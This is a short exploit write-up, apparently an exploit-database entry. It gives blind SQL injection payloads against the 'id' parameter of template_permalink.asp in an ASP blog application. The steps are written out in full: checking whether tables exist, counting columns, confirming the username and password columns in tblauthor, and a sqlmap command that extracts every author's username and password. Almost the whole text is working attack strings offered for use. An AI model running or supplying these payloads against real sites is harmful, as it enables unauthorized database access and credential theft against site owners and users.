[+] Exploding:

[*] Checking table:

[~] Exploit: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM [TABLE]) >= 0
[~] Exploit2: http://localhost/[path]/template_permalink.asp?id=78 and exists (select * from [TABLE])
[~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM tblauthor) >= 0
[~] Example2: http://localhost/[path]/template_permalink.asp?id=78 and exists (select * from tblauthor)
[~] If you don't see any error, it is that table exist.

[*] Checking columns number of table:

[~] Exploit: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM [TABLE]) = [NUMBER]
[~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(*) FROM tblauthor) = 1
[~] If you don't see any error, the table has 1 columns.

[*] Checking columns of table:

[~] Exploit: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count([COLUMN]) FROM [TABLE]) >= 0
[~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(fldauthorpassword) FROM tblauthor) >= 0
[~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND (SELECT Count(fldauthorusername) FROM tblauthor) >= 0
[~] If you don't see any error, the column exists.

[*] User and password:

[~] Exploit: ./sqlmap.py -u "URL" -p rid -a "./txt/user-agents.txt" -v1 --string "text" -e "sql query"
[~] Example: ./sqlmap.py -u "http://../template_permalink.asp?id=78"; -p id -a "./txt/user-agents.txt" -v1 --string "bp blog" -e "<SELECT concat(fldauthorusername,0x3a,fldauthorpassword) from tblauthor where 1=1>"
